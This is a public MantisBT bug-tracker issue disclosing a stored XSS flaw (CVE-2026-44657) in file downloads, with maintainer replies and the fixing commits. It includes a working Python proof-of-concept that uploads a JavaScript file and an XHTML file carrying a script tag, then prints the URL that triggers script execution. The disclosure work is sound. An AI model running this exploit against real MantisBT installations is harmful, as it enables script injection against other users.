View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0037020 | mantisbt | security | public | 2026-04-13 07:47 | 2026-05-09 19:56 |
| Reporter | siunam | Assigned To | dregad | ||
| Priority | high | Severity | minor | Reproducibility | always |
| Status | closed | Resolution | fixed | ||
| Product Version | 2.28.1 | ||||
| Target Version | 2.28.2 | Fixed in Version | 2.28.2 | ||
| Summary | 0037020: CVE-2026-44657: Stored XSS in File Download | ||||
| Description | By default, the function
To force the attachment to be displayed and rendered in the browser, the user can provide GET parameter
Moreover, some MIME types will be forced to be downloaded or rendered by browsers:
Unfortunately, array
Which allows the attacker to achieve stored XSS if he/she uploaded an XHTML file and provided a valid
Also, To escalate this self-XSS vulnerability, the attacker could follow the same steps in https://mantisbt.org/bugs/view.php?id=37011. For the | ||||
| Steps To Reproduce |
| ||||
| Additional Information | A Proof-of-Concept Python script ( | ||||
| Tags | No tags attached. | ||||
| Attached Files | poc_self-xss.py (6,131 bytes)
import requests
from bs4 import BeautifulSoup
from base64 import b64encode
from urllib.parse import urlencode
class Poc:
def __init__(self, baseUrl):
self.baseUrl = baseUrl
self.ISSUE_CATEGORY_GENERAL_ID = 1
self.FILE_SHOW_INLINE_CSRF_TOKEN_NAME = 'file_show_inline_token'
self.REST_GET_MY_USER_INFO_ENDPOINT = f'{self.baseUrl}/api/rest/users/me'
self.REST_CREATE_NEW_ISSUE_ENDPOINT = f'{self.baseUrl}/api/rest/issues'
self.REST_ADD_ATTACHMENT_TO_ISSUE_ENDPOINT = f'{self.baseUrl}/api/rest/issues/{{issueId}}/files'
self.REST_GET_ISSUE_FILES_ENDPOINT = f'{self.baseUrl}/api/rest/issues/{{issueId}}/files'
self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php'
self.FILE_DOWNLOAD_ENDPOINT = f'{self.baseUrl}/file_download.php'
self.VIEW_ISSUE_PAGE_ENDPOINT = f'{self.baseUrl}/view.php?id={{issueId}}'
def login(self, account):
data = {
'username': account['username'],
'password': account['password']
}
response = account['session'].post(self.LOGIN_ENDPOINT, data=data)
response.raise_for_status()
def getCurrentUserInfo(self, account):
response = account['session'].get(self.REST_GET_MY_USER_INFO_ENDPOINT)
response.raise_for_status()
return response.json()
def getCSRFToken(self, endpoint, account, tagName, attributeName):
response = account['session'].get(endpoint)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
csrfToken = soup.find(tagName)[attributeName]
return csrfToken
def createNewIssue(self, account, summary='PoC', description='Poc'):
data = {
'summary': summary,
'description': description,
'project': account['user_info']['projects'][0],
'category': { 'id': self.ISSUE_CATEGORY_GENERAL_ID }
}
response = account['session'].post(self.REST_CREATE_NEW_ISSUE_ENDPOINT, json=data)
response.raise_for_status()
return response.json()['issue']
def addAttachmentToIssue(self, account, issueId, files):
data = { 'files': files }
response = account['session'].post(self.REST_ADD_ATTACHMENT_TO_ISSUE_ENDPOINT.format(issueId=issueId), json=data)
response.raise_for_status()
def getAllIssueAttachments(self, account, issueId):
response = account['session'].get(self.REST_GET_ISSUE_FILES_ENDPOINT.format(issueId=issueId))
response.raise_for_status()
return response.json()['files']
def getIssueAttachmentEndpoint(self, account, issueId, fileName):
files = self.getAllIssueAttachments(account, issueId)
for file in files:
if file['filename'] != fileName:
continue
parameter = {
'file_id': file['id'],
'type': 'bug'
}
url = f'/{self.FILE_DOWNLOAD_ENDPOINT.split("/")[-1]}?{urlencode(parameter)}'
return url
return None
def execute(self, accounts):
# 1. Login as reporter
self.login(accounts['reporter'])
accounts['reporter']['user_info'] = self.getCurrentUserInfo(accounts['reporter'])
newIssue = self.createNewIssue(accounts['reporter'])
print(f'[+] Created a new issue. ID: {newIssue["id"]}')
# 2. Upload JavaScript file
javaScriptPayload = '''
#!/usr/bin/env node
alert(origin)
'''.strip()
javaScriptFile = {
'name': 'exploit.js',
'content': b64encode(javaScriptPayload.encode()).decode()
}
self.addAttachmentToIssue(accounts['reporter'], newIssue['id'], [javaScriptFile])
javaScriptFileEndpoint = self.getIssueAttachmentEndpoint(accounts['reporter'], newIssue['id'], javaScriptFile['name'])
print(f'[+] Uploaded JavaScript file. File endpoint: {javaScriptFileEndpoint}')
# 3. Upload XHTML file, which will get treated as MIME type `text/xml` by PHP finfo. Also upload an image file to get a valid `file_show_inline_token`, so that we can force the XHTML file to be shown inline
xhtmlPayload = f'''
<?xml version="1.0" encoding="UTF-8"?>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="{javaScriptFileEndpoint.replace('&', '&')}"></x:script>
'''.strip()
imagePayload = 'GIF89a' # Minimal valid GIF file header
files = [
{
'name': 'exploit.xhtml',
'content': b64encode(xhtmlPayload.encode()).decode()
},
{
'name': 'inline_token.gif',
'content': b64encode(imagePayload.encode()).decode()
}
]
self.addAttachmentToIssue(accounts['reporter'], newIssue['id'], files)
xhtmlFileEndpoint = self.getIssueAttachmentEndpoint(accounts['reporter'], newIssue['id'], files[0]['name'])
xhtmlFileId = xhtmlFileEndpoint.split('file_id=')[-1].split('&')[0]
imageFileEndpoint = self.getIssueAttachmentEndpoint(accounts['reporter'], newIssue['id'], files[1]['name'])
print(f'[+] Uploaded XHTML file. File endpoint: {xhtmlFileEndpoint}')
print(f'[+] Uploaded image file. File endpoint: {imageFileEndpoint}')
print(f'[+] To trigger the self-XSS payload:')
print(f' 1. Login as {accounts["reporter"]["username"]}')
print(f' 2. Visit the issue page: {self.VIEW_ISSUE_PAGE_ENDPOINT.format(issueId=newIssue["id"])}')
print(f' 3. Get CSRF token {self.FILE_SHOW_INLINE_CSRF_TOKEN_NAME} from the image file "{files[1]["name"]}"')
print(f' 4. Visit URL: {self.FILE_DOWNLOAD_ENDPOINT}?file_id={xhtmlFileId}&type=bug&show_inline=1&{self.FILE_SHOW_INLINE_CSRF_TOKEN_NAME}=<{files[1]["name"]}_{self.FILE_SHOW_INLINE_CSRF_TOKEN_NAME}>')
if __name__ == '__main__':
baseUrl = 'http://localhost:8080'
accounts = {
'reporter': {
'username': 'reporter',
'password': 'password',
'session': requests.Session()
}
}
poc = Poc(baseUrl)
poc.execute(accounts)
| ||||
PatchAs the discussion in https://mantisbt.org/bugs/view.php?id=37011#c70967, if the file's MIME type is not a whitelisted MIME type, we can force them to be |
|
|
CVSS v4 score: 7.5 |
|
|
@dregad Any update on this? |
|
|
I also forgot to mentioned that the |
|
|
I confirm the vulnerability. Advisory https://github.com/mantisbt/mantisbt/security/advisories/GHSA-p6fr-rxq7-xcg8 created and CVE request sent. I believe that the patch for 0037016 I posted 45 minutes ago also addresses this Issue. Kindly test and confirm. |
|
|
I confirmed the patch fixed the vulnerability! I also left some comments on that PR. |
|
|
CVE-2026-44657 assigned |
|
|
MantisBT: master-2.28 26647b2e 2026-05-03 13:46 Details Diff |
Restrict MIME type for file downloads Until now, file_download.php was sending attachments content with a MIME type determined by PHP's Fileinfo [1]. This creates a risk of JavaScript execution bypassing the Content Security Policy. We now only set the Content-Type header for known safe types (e.g. PDF and images), all text types are forced to text/plain and the rest is sent as application/octet-stream. Includes corrections following review by vboctor. Fixes 0037016, GHSA-9c3j-xm6v-j7j3 / CVE-2026-40597 [1]: https://www.php.net/manual/en/book.fileinfo.php |
Affected Issues 0037016, 0037020 |
|
| mod - file_download.php | Diff File | ||
|
MantisBT: master-2.28 9e43cd80 2026-05-07 11:30 Details Diff |
Purge file_show_inline security token after use This ensures that the token cannot be reused after displaying the attachment inline. Issue 0037020 |
Affected Issues 0037020 |
|
| mod - file_download.php | Diff File | ||